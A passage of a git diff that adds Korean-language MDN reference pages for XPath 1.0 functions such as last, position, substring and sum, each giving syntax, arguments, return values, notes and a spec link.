+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/last/index.html b/files/ko/web/xpath/functions/last/index.html
new file mode 100644
index 0000000000..57cfd73c74
--- /dev/null
+++ b/files/ko/web/xpath/functions/last/index.html
@@ -0,0 +1,23 @@
+---
+title: last
+slug: Web/XPath/Functions/last
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/last
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>last</code> 함수는 식 평가 문맥(expression evaluation context)과 크기가 같은 숫자를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">last()
+</pre>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>식 평가 문맥과 크기가 같은 정수.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>이 함수는 특정 노드가 노드 집합의 마지막 노드인지를 결정하기 위해 <a href="ko/XPath/Functions/position"> position()</a> 함수와 함께 자주 씁니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-last">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/local-name/index.html b/files/ko/web/xpath/functions/local-name/index.html
new file mode 100644
index 0000000000..da77a5ea88
--- /dev/null
+++ b/files/ko/web/xpath/functions/local-name/index.html
@@ -0,0 +1,33 @@
+---
+title: local-name
+slug: Web/XPath/Functions/local-name
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/local-name
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>local-name</code> 함수는 인수로 준 노드 집합 안 첫 노드의 지역 이름을 나타내는 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">local-name( [<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ node-set</i>
+ </code> (선택사항)</dt>
+ <dd>
+ 이 노드 집합 안 첫 노드의 지역 이름이 반환됩니다. 이 인수를 빼면, 현재 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>지역 이름은 <a class="external" href="http://www.w3.org/TR/xpath#dt-expanded-name">expanded-name</a>의 지역 부분입니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-local-name">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/name/index.html b/files/ko/web/xpath/functions/name/index.html
new file mode 100644
index 0000000000..b9f526a0f1
--- /dev/null
+++ b/files/ko/web/xpath/functions/name/index.html
@@ -0,0 +1,33 @@
+---
+title: name
+slug: Web/XPath/Functions/name
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/name
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>name</code> 함수는 인수로 준 노드 집합 안 첫 노드의 QName을 나타내는 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">name( [<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ node-set</i>
+ </code> (선택사항)</dt>
+ <dd>
+ 이 노드 집합 안 첫 노드의 QName이 반환됩니다. 이 인수를 빼면, 현재 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>노드의 QName을 나타내는 문자열</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-xml-names/#NT-QName">QName</a>은 이름공간 접두사와 지역 이름을 포함하는 노드의 한정된(qualified) 이름입니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-local-name">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/namespace-uri/index.html b/files/ko/web/xpath/functions/namespace-uri/index.html
new file mode 100644
index 0000000000..1e73667e3a
--- /dev/null
+++ b/files/ko/web/xpath/functions/namespace-uri/index.html
@@ -0,0 +1,36 @@
+---
+title: namespace-uri
+slug: Web/XPath/Functions/namespace-uri
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/namespace-uri
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>namespace-uri</code> 함수는 인수로 준 노드 집합 안 첫 노드의 이름공간 URI를 나타내는 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">namespace-uri( [<i>node-set</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ node-set</i>
+ </code> (선택사항)</dt>
+ <dd>
+ 이 노드 집합 안 첫 노드의 이름공간 URI가 반환됩니다. 이 인수를 빼면, 현재 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>제공한 노드가 있는 이름공간 URI를 나타내는 문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>만약 제공한 노드가 지정된 이름공간이 없으면, 반환되는 문자열은 빈 문자열입니다.</li>
+</ul>
+<ul>
+ <li>요소와 속성 노드 말고 다른 노드는, 반환되는 문자열이 항상 빈 문자열입니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-local-name">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/normalize-space/index.html b/files/ko/web/xpath/functions/normalize-space/index.html
new file mode 100644
index 0000000000..5bf0eec9d2
--- /dev/null
+++ b/files/ko/web/xpath/functions/normalize-space/index.html
@@ -0,0 +1,29 @@
+---
+title: normalize-space
+slug: Web/XPath/Functions/normalize-space
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/normalize-space
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>normalize-space</code> 함수는 문자열에서 앞뒤 공백을 빼고(strip) 결과 문자열을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">normalize-space(<i>string</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ string</i>
+ </code></dt>
+ <dd>
+ nomalize되는 문자열</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>nomalize된 문자열.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-normalize-space">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/not/index.html b/files/ko/web/xpath/functions/not/index.html
new file mode 100644
index 0000000000..f99f0d46c1
--- /dev/null
+++ b/files/ko/web/xpath/functions/not/index.html
@@ -0,0 +1,33 @@
+---
+title: not
+slug: Web/XPath/Functions/not
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/not
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>not</code> 함수는 불린식을 평가하고 반대값을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">not(<i>expression</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <code>
+ <i>
+ expression</i>
+ </code> (선택사항)</dt>
+ <dd>
+ 식은 마치 <a href="ko/XPath/Functions/boolean"> boolean()</a> 함수에 인수로 넘겨진 것처럼 정확히 평가됩니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>false로 평가한 식은 true; true로 평가한 식은 false.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>이 함수는 반대값을 반환하는 것을 빼고는 <a href="ko/XPath/Functions/boolean"> boolean()</a> 함수와 비슷하게 동작합니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-not">XPath 1.0 4.3</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/number/index.html b/files/ko/web/xpath/functions/number/index.html
new file mode 100644
index 0000000000..73e9e10d35
--- /dev/null
+++ b/files/ko/web/xpath/functions/number/index.html
@@ -0,0 +1,35 @@
+---
+title: number
+slug: Web/XPath/Functions/number
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/number
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>number</code> 함수는 개체를 숫자로 변환하고 그 숫자를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">number( [<i>object</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>object</code></i>
+ (optional)</dt>
+ <dd>
+ 숫자로 변환할 개체.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>개체를 변환한 뒤 결과 숫자.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>문자열은 숫자 앞 문자열의 앞 공백 문자를 떼고(strip) 숫자 뒤의 것을 무시하여 숫자로 변환됩니다. 문자열이 패턴과 일치하지 않으면, 그 문자열은 NaN으로 변환됩니다.</li>
+ <li>Boolean true는 1로 false는 0으로 변환됩니다.</li>
+ <li>노드 집합은 먼저 as if by a call to the string function 문자열로 변환되고 나서 같은 식으로 문자열 인수로 변환됩니다.</li>
+ <li>네 가지 기본 타입 말고 다른 타입의 개체는 그 타입에 의존하는 방법으로 숫자로 변환됩니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-number">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/position/index.html b/files/ko/web/xpath/functions/position/index.html
new file mode 100644
index 0000000000..3804cd8dfc
--- /dev/null
+++ b/files/ko/web/xpath/functions/position/index.html
@@ -0,0 +1,34 @@
+---
+title: position
+slug: Web/XPath/Functions/position
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/position
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>position</code> 함수는 식 평가 문맥(expression evaluation context)와 위치가 같은 숫자를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">position()
+</pre>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>식 평가 문맥과 위치가 같은 정수.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>문맥 안 노드의 위치는 0 기반이 아님을 주의하세요. 첫 노드는 위치가 1입니다.</li>
+</ul>
+<ul>
+ <li>문맥은 경로의 나머지로 결정됩니다.</li>
+</ul>
+<pre class="eval">&lt;xsl:template match="//a[position() = 5"&gt;
+ &lt;!-- 이 템플릿은 문서 안 다섯 번째 a 요소와 일치합니다. --&gt;
+&lt;/xsl:template&gt;
+</pre>
+<pre class="eval">&lt;xsl:template match="//div[@class='foo']/bar[position() = 1]"&gt;
+ &lt;!-- 이 템플릿은 class 속성이 "foo"이고 div 요소의 자식인 첫 번째 bar 요소와 일치합니다 --&gt;
+&lt;/xsl:template&gt;
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-position">XPath 1.0 4.1</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/round/index.html b/files/ko/web/xpath/functions/round/index.html
new file mode 100644
index 0000000000..9bf8259881
--- /dev/null
+++ b/files/ko/web/xpath/functions/round/index.html
@@ -0,0 +1,35 @@
+---
+title: round
+slug: Web/XPath/Functions/round
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/round
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>round</code> 함수는 인수로 준 수에 가장 가까운 정수를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">round(<i>decimal</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>decimal</code></i>
+ </dt>
+ <dd>
+ 정수 처리(round)될 10진수.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>인수
+ <i>
+ <code>decimal</code></i>
+ 보다 작거나 크거나 같은 가장 가까운 정수.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>-0.5는 음수 0으로 0.4는 양수 0으로 정수 처리됩니다.</li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-round">XPath 1.0 4.4</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/starts-with/index.html b/files/ko/web/xpath/functions/starts-with/index.html
new file mode 100644
index 0000000000..ae553da10a
--- /dev/null
+++ b/files/ko/web/xpath/functions/starts-with/index.html
@@ -0,0 +1,42 @@
+---
+title: starts-with
+slug: Web/XPath/Functions/starts-with
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/starts-with
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>starts-with</code> 함수는 첫 번째 문자열이 두 번째 문자열로 시작하는 지를 확인한 뒤 true나 false를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">starts-with(<i>haystack</i> ,<i>needle</i>)
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>haystack</code></i>
+ </dt>
+ <dd>
+ 들여다볼(look in) 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>needle</code></i>
+ </dt>
+ <dd>
+ 찾을(look for) 문자열.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>만약
+ <i>
+ <code>haystack</code></i>
+ 이
+ <i>
+ <code>needle</code></i>
+ 로 시작하면 <code>true</code>. 그렇지 않으면, <code>false</code>.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-starts-with">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/string-length/index.html b/files/ko/web/xpath/functions/string-length/index.html
new file mode 100644
index 0000000000..e62774f000
--- /dev/null
+++ b/files/ko/web/xpath/functions/string-length/index.html
@@ -0,0 +1,28 @@
+---
+title: string-length
+slug: Web/XPath/Functions/string-length
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/string-length
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>string-length</code> 함수는 인수로 준 문자열의 문자수를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">string-length( [<i>string</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>string</code></i>
+ (선택사항)</dt>
+ <dd>
+ 평가할 문자열. 빼면, 쓰는 문자열은 문자열로 변환된 문맥 노드와 같습니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열의 문자수와 같은 정수.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-string-length">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/string/index.html b/files/ko/web/xpath/functions/string/index.html
new file mode 100644
index 0000000000..25c9879bdd
--- /dev/null
+++ b/files/ko/web/xpath/functions/string/index.html
@@ -0,0 +1,42 @@
+---
+title: string
+slug: Web/XPath/Functions/string
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/string
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>string</code> 함수는 인수를 문자열로 변환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">string( [<i>object</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>object</code></i>
+ (선택사항)</dt>
+ <dd>
+ 문자열로 변환할 개체. 빼면, 문맥 노드를 씁니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<ul>
+ <li>만약 개체가 노드 집합이면, 집합의 첫 노드의 문자열값을 반환됩니다.</li>
+ <li>숫자는 다음으로 반환됩니다.
+ <ul>
+ <li>NaN은 문자열 NaN으로 변환됩니다.</li>
+ <li>양수 0은 문자열 0으로 변환됩니다.</li>
+ <li>음수 0은 문자열 0으로 변환됩니다.</li>
+ <li>양의 무한대(infinity)는 문자열 Infinity로 변환됩니다.</li>
+ <li>음의 무한대는 문자열 -Infinity로 변환됩니다.</li>
+ <li>-1과 1 사이의 10진수는 소수점 앞에 0이 하나 있는 문자열로 변환됩니다.</li>
+ </ul>
+ </li>
+</ul>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-string">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/substring-after/index.html b/files/ko/web/xpath/functions/substring-after/index.html
new file mode 100644
index 0000000000..513a777014
--- /dev/null
+++ b/files/ko/web/xpath/functions/substring-after/index.html
@@ -0,0 +1,49 @@
+---
+title: substring-after
+slug: Web/XPath/Functions/substring-after
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/substring-after
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>substring-after</code> 함수는 첫 번째 인수에서 두 번째 인수가 나타난 다음의 나머지를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">substring-after(<i>haystack</i> ,<i>needle</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>haystack</code></i>
+ </dt>
+ <dd>
+ 평가할 문자열. 이 문자열의 부분이 반환됩니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>needle</code></i>
+ </dt>
+ <dd>
+ 찾을 부분 문자열.
+ <i>
+ <code>haystack</code></i>
+ 에서
+ <i>
+ <code>needle</code></i>
+ 의 첫 출현 뒤의 문자열이 반환됩니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>XSL 예:</p>
+<pre class="eval">&lt;xsl:value-of select="substring-after('1999/04/01','/')" /&gt;
+</pre>
+<p>출력</p>
+<pre class="eval">04/01
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-substring-after">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/substring-before/index.html b/files/ko/web/xpath/functions/substring-before/index.html
new file mode 100644
index 0000000000..1336715eee
--- /dev/null
+++ b/files/ko/web/xpath/functions/substring-before/index.html
@@ -0,0 +1,49 @@
+---
+title: substring-before
+slug: Web/XPath/Functions/substring-before
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/substring-before
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>substring-before</code> 함수는 첫 번째 인수에서 두 번째 인수가 나타난 앞의 나머지를 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">substring-before(<i>haystack</i> ,<i>needle</i> )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>haystack</code></i>
+ </dt>
+ <dd>
+ 평가할 문자열. 이 문자열의 부분이 반환됩니다.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>needle</code></i>
+ </dt>
+ <dd>
+ 찾을 부분 문자열.
+ <i>
+ <code>haystack</code></i>
+ 에서
+ <i>
+ <code>needle</code></i>
+ 의 첫 출현 앞의 문자열이 반환됩니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>XSL 예:</p>
+<pre class="eval">&lt;xsl:value-of select="substring-before('1999/04/01','/')" /&gt;
+</pre>
+<p>출력</p>
+<pre class="eval">1999
+</pre>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-substring-before">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/substring/index.html b/files/ko/web/xpath/functions/substring/index.html
new file mode 100644
index 0000000000..74368b58bd
--- /dev/null
+++ b/files/ko/web/xpath/functions/substring/index.html
@@ -0,0 +1,55 @@
+---
+title: substring
+slug: Web/XPath/Functions/substring
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/substring
+---
+<p>{{ XsltRef() }}</p>
+<p><br>
+ <code>substring</code> 함수는 인수로 준 문자열의 부분을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+<pre class="eval">substring(<i>string</i> ,<i>start</i> [,<i>length</i>] )
+</pre>
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+<dl>
+ <dt>
+ <i>
+ <code>string</code></i>
+ </dt>
+ <dd>
+ 평가할 문자열.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>start</code></i>
+ </dt>
+ <dd>
+ 부분 문자열이 시작하는
+ <i>
+ <code>string</code></i>
+ 안 위치.</dd>
+</dl>
+<dl>
+ <dt>
+ <i>
+ <code>length</code></i>
+ (선택사항)</dt>
+ <dd>
+ 부분 문자열의 길이. 빼면, 반환되는 문자열은
+ <i>
+ <code>start</code></i>
+ 위치부터
+ <i>
+ <code>string</code></i>
+ 의 끝까지 모든 문자를 포함합니다.</dd>
+</dl>
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+<p>문자열.</p>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>다른 XPath 함수와 마찬가지로, 위치는 0에 기반을 두지 않습니다. 문자열의 첫 문자는 위치가 0이 아니라 1입니다.</p>
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-substring">XPath 1.0 4.2</a></p>
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+<p>지원함.</p>
diff --git a/files/ko/web/xpath/functions/sum/index.html b/files/ko/web/xpath/functions/sum/index.html
new file mode 100644
index 0000000000..b1b79e8ed4
--- /dev/null
+++ b/files/ko/web/xpath/functions/sum/index.html
@@ -0,0 +1,39 @@
+---
+title: sum
+slug: Web/XPath/Functions/sum
+tags:
+ - XSLT_Reference
+translation_of: Web/XPath/Functions/sum
+---
+<p>{{ XsltRef() }}</p>
+
+<p><br>
+ <code>sum</code> 함수는 인수로 준 노드 집합의 각 노드의 숫자값의 합을 반환합니다.</p>
+
+<h3 id=".EA.B5.AC.EB.AC.B8" name=".EA.B5.AC.EB.AC.B8">구문</h3>
+
+<pre class="eval">sum(<em>node-set</em> )
+</pre>
+
+<h3 id=".EC.9D.B8.EC.88.98" name=".EC.9D.B8.EC.88.98">인수</h3>
+
+<dl>
+ <dt><em><code>node-set</code></em></dt>
+ <dd>평가될 노드 집합. 이 노드 집합의 각 노드는 마치 <code>number</code> 함수에 넘겨준 것처럼 평가되고 결과 수의 합이 반환됩니다.</dd>
+</dl>
+
+<h3 id=".EB.B0.98.ED.99.98" name=".EB.B0.98.ED.99.98">반환</h3>
+
+<p>숫자.</p>
+
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+
+<p><em>(없음)</em></p>
+
+<h3 id=".EC.A0.95.EC.9D.98" name=".EC.A0.95.EC.9D.98">정의</h3>
+
+<p><a class="external" href="http://www.w3.org/TR/xpath#function-sum">XPath 1.0 4.3</a></p>
+
+<h3 id="Gecko_.EC.A7.80.EC.9B.90" name="Gecko_.EC.A7.80.EC.9B.90">Gecko 지원</h3>
+
+<p>지원함.</p>
